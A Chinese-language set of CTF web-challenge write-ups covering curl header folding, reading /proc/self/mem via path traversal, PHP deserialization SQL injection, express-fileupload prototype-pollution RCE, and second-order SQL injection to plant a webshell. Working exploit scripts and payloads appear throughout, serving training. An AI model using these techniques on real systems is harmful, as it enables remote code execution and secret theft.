ez_curl

考点:

  • nodejs的parameterLimit1000个限制
  • RFC 7230,header字段可以通过在每一行前面至少加一个SP(空格)或HT(制表)来扩展到多行,node正好支持
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const express = require('express');

const app = express();

const port = 3000;
const flag = process.env.flag;

app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});

app.listen({ port: port , host: '0.0.0.0'});

向flag路由发包,获取flag有两个条件:

  1. 请求参数admin不能包括false
  2. 请求包的请求头的admin键的值要包含true

php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);//这里加的请求头
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

为了让它通过后面的:检测分割,传入的json字符串格式应该是这样的
1
{"headers": ["admin:true","test:truetest"]}

这里需要绕过两个:

  • 第一个是headers里面的admin做了检测
  • 第二个是params里面加了一个&admin=false
  • headers的绕过利用的是header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行
    eg
    1
    {"headers": ["admin: ha"," true: haha"]}

curl生成的headers

1
2
admin: ha
true: haha

nodejs解析

1
2
3
{
"admin": "ha true haha"
}

从而绕过

payload:

1
2
3
4
5
6
7
8
data='{"headers":["admin: ha",\n" true: haha"],"params":{"admin":"xixi",'
print(data)
for i in range(2,1001):
if i==1000:
print(f'"{i}":"whatever"')
else:
print(f'"{i}":"whatever",')
print("}\n}")

屏幕截图 2023-11-27 223032.png

catcat-new

  • 考点:任意文件读取读/proc/self/mem内存信息(secret-key,flag),通过/maps获取地址偏移
    任意文件读取读源码../app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])

return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

一开始以为要爆破secret-key
后来发现这题的考点是通过读取/proc/self/mem来得到secret_key,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import re

import requests

url='http://61.147.171.105:63921/'
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
# 匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)

# 设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
# 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break

得到secret-key:

1
541493e8c3a24ad4965e23027d21588c*abcdefgh

伪造:
这里不知道为什么伪造失效了,题目环境应该出了点问题
还有个方法直接通过读/proc/self/mem来读flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import re

baseUrl = "http://61.147.171.105:54125/info?file=../../../../.."

if __name__ == "__main__":
url = baseUrl + "/proc/self/maps"
memInfoList = requests.get(url).text.split("\\n")
mem = ""
for i in memInfoList:
memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if memAddress:
start = int(memAddress.group(1), 16)
end = int(memAddress.group(2), 16)
infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end)
mem = requests.get(infoUrl).text
if re.findall(r"{[\w]+}", mem):
print(re.findall(r"\w+{\w+}", mem))

屏幕截图 2023-11-27 234744.png

题目名称-warmup

下载下来有三个php文件:
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142


<!doctype html>
<html>

<head>
<meta charset="utf-8">
<title>平平无奇的登陆界面</title>
</head>
<style type="text/css">
body {
margin: 0;
padding: 0;
font-family: sans-serif;
background: url("static/background.jpg");
/*背景图片自定义*/
background-size: cover;
}

.box {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
width: 400px;
padding: 40px;
background: rgba(0, 0, 0, .8);
box-sizing: border-box;
box-shadow: 0 15px 25px rgba(0, 0, 0, .5);
border-radius: 10px;
/*登录窗口边角圆滑*/
}

.box h2 {
margin: 0 0 30px;
padding: 0;
color: #fff;
text-align: center;
}

.box .inputBox {
position: relative;
}

.box .inputBox input {
width: 100%;
padding: 10px 0;
font-size: 16px;
color: #fff;
letter-spacing: 1px;
margin-bottom: 30px;
/*输入框设置*/
border: none;
border-bottom: 1px solid #fff;
outline: none;
background: transparent;
}

.box .inputBox label {
position: absolute;
top: 0;
left: 0;
padding: 10px 0;
font-size: 16px;
color: #fff;
pointer-events: none;
transition: .5s;
}

.box .inputBox input:focus~label,
.box .inputBox input:valid~label {
top: -18px;
left: 0;
color: #03a9f4;
font-size: 12px;
}

.box input[type="submit"] {
background: transparent;
border: none;
outline: none;
color: #fff;
background: #03a9f4;
padding: 10px 20px;
cursor: pointer;
border-radius: 5px;
}
</style>

<body>
<div class="box">
<h2>请登录</h2>
<form method="post" action="index.php">
<div class="inputBox">
<input type="text" name="username" required="">
<label>用户名</label>
</div>
<div class="inputBox">
<input type="password" name="password" required="">
<label>密码</label>
</div>
<input type="submit" name="" value="登录">
</form>
</div>
</body>

</html>

<?php
include 'conn.php';
include 'flag.php';


if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}


if(isset($_POST['username']) && isset($_POST['password'])){
$table = 'users';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = new SQL();
$sql->connect();
$sql->table = $table;
$sql->username = $username;
$sql->password = $password;
$sql->check_login();
}


?>

cookie的last_login_info字段可以传入值来反序列化

conn.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
include 'flag.php';

class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}

public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}

public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}

public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}

public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}

public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}

}
?>

这里可以看到sql查询语句只要用户名是admin就可以输出flag的值

而ip.php

1
2
<?php
echo $_SERVER['REMOTE_ADDR'];

就算来告诉你你的ip是多少的

官方:

正常官方的wp是绕过ip的限制和用子查询来造成SQL查询语句为真(并且用户名是admin)来输出flag的

1
2
3
4
5
6
7
8
9
10
11
<?php
class SQL {
public $table = '(select \'admin\' username,\'123\' password)a';
public $username = 'admin';
public $password = '123';
}

var_dump(base64_encode (serialize(array(
'ip' => '182.150.122.62',
'sql' => new SQL(),
))));

Pasted image 20231130000325.png

这里SQL语句:

1
select username,password from (select 'admin' username,'123' password) where username=admin and password=123;

生成了一个临时的虚拟表:

1
2
username  password
admin 123

where语句使得查询语句为真,username又是admin刚好符合输出flag的条件

非预期

这里ip其实可以不用绕过,我们构造的类只有一个不是数组就行
比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class SQL
{
public $table = '';
public $username = '';
public $password = '';
public $conn;

public function __construct()
{
$this->table='(select \'admin\' username,\'123\' password)a';
$this->username='admin';
$this->password='123';
}
}
$a=new SQL();
echo serialize($a);
echo "\n";
echo base64_encode(serialize($a));
?>

又或者不用子查询,直接万能密码绕过,因为这里黑名单没有过滤单引号,而他的SQL语句又是单引号拼接的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class SQL
{
public $table = '';
public $username = '';
public $password = '';
public $conn;

public function __construct()
{
$this->table='users';
$this->username='admin';
$this->password="'or '1'='1";
}
}
$a=new SQL();
echo serialize($a);
echo "\n";
echo base64_encode(serialize($a));
?>

Pasted image 20231130000845.png

BadProgrammer

页面一些东西都点不了,这里dirsearch扫目录只扫出来一个static文件夹
抓包看到X-Powered-By: Express,看了别人的wp发现利用的nginx配置错误

1
http://61.147.171.105:53853/static../

从而可以列出文件目录
Pasted image 20231130142957.png

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
res.render('flag.ejs');
});

app.get('/', (req, res) => {
res.render('index.ejs');
})

app.listen(3000);
app.on('listening', function() {
console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});

我们在package.json里看到了
Pasted image 20231130143431.png

我们搜一下express-fileupload 1.1.7-alpha.4就看到了一个CVE-2020-7699

这里看懂原理但是构造的payload没打出来,看了别人的wp发现:

1
2
3
4
5
6
7
8
9
import requests

url='http://61.147.171.105:53853/4_pATh_y0u_CaNN07_Gu3ss'
files={
'__proto__.outputFunctionName':
(None,"x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag1.txt');x")
}
res=requests.post(url=url,files=files)

Pasted image 20231130153032.png

filemanager

考点:update二次注入
首先信息搜集,dirsearch扫一下
image.png
/www.tar.gz得到源码,我们重点看upload.php和rename.php
upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午8:45
*/

require_once "common.inc.php";

if ($_FILES) {
$file = $_FILES["upfile"];
if ($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);

if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];

$name = $path_parts["filename"] . $path_parts["extension"];

// $path_parts["filename"] = $db->quote($path_parts["filename"]);
// Fix
$path_parts['filename'] = addslashes($path_parts['filename']);

$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";

$fetch = $db->query($sql);

if ($fetch->num_rows > 0) {
exit("file is exists");
}

if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {

$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
$re = $db->query($sql);
if (!$re) {
print_r($db->error);
exit;
}
$url = "/" . UPLOAD_DIR . $name;
echo "Your file is upload, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
} else {
exit("upload error");
}

} else {
print_r(error_get_last());
exit;
}
}

主要功能是对上传的文件的文件名进入处理,先隔开扩展名匹配一下白名单,然后分开filename和extension插入file表里,其中还有一些检验,比如检查文件是否已经存在,filename做了转义函数处理

rename.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午9:39
*/

require_once "common.inc.php";

if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
} else {
exit("old file doesn't exists!");
}

if ($result) {

$req['newname'] = basename($req['newname']);
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
if (!$re) {
print_r($db->error);
exit;
}
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
if (file_exists($oldname)) {
rename($oldname, $newname);
}
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="/">
<meta charset="utf-8" />
</head>
<h3>Rename</h3>
<body>
<form method="post">
<p>
<span>old filename(exclude extension):</span>
<input type="text" name="oldname">
</p>
<p>
<span>new filename(exclude extension):</span>
<input type="text" name="newname">
</p>
<p>
<input type="submit" value="rename">
</p>
</form>
</body>
</html>

这里SQL语句还是单引号直接拼接的,主要功能是先检查要修改的文件名是否已经存在,然后修改file表对应行数据的两个字段的值,newname是我们传入的,oldname是数据库里面的(和我们传入的filename做了select查询的结果)

思路:
我们肯定是要把白名单后缀的文件改成php后缀的文件的,但是这里创建了一个file表把每个文件的文件名和后缀的数据给分开存储起来了,我们就算运行rename.php也只能修改文件名,文件后缀还是不变的,因此我们需要利用SQL语句的拼接闭合来完成

1
update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}

这里可以控制oldname的值来让extension为空,比如',extension=',
但是这里重命名文件会检查文件是否存在if (file_exists($oldname))
我们可以通过上传一个同名文件绕过

先上传',extension='.txt,内容随便写,此时file表的filename是',extension=',extension是txt
然后修改文件名:
image.png

此时本来新文件名是test.txt,后缀是txt,经过update语句,==file表中filename是test.txt,extension为空,oldname也是空==

oldname和newname值不一样,$oldname是’,extension=’.txt,而newname是test.txt.txt,此时php文件系统路径是test.txt.txt

此时上传一个test.txt,内容就是一句话木马
image.png

最后把test.txt改为test.php,因为extension已经是空了
==这里的关键是if的绕过,$result["filename"]=test.txt,,$result["extension"]=空,而$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];,这里本来文件系统路径是test.txt.txt的我们这里是test.txt是无法rename()的但是我们后来上传了一个test.txt从而让if语句为真,成功重命名为test.php==

image.png

此时oldname是test.txt,newname是test.php,extension是空

image.png

image.png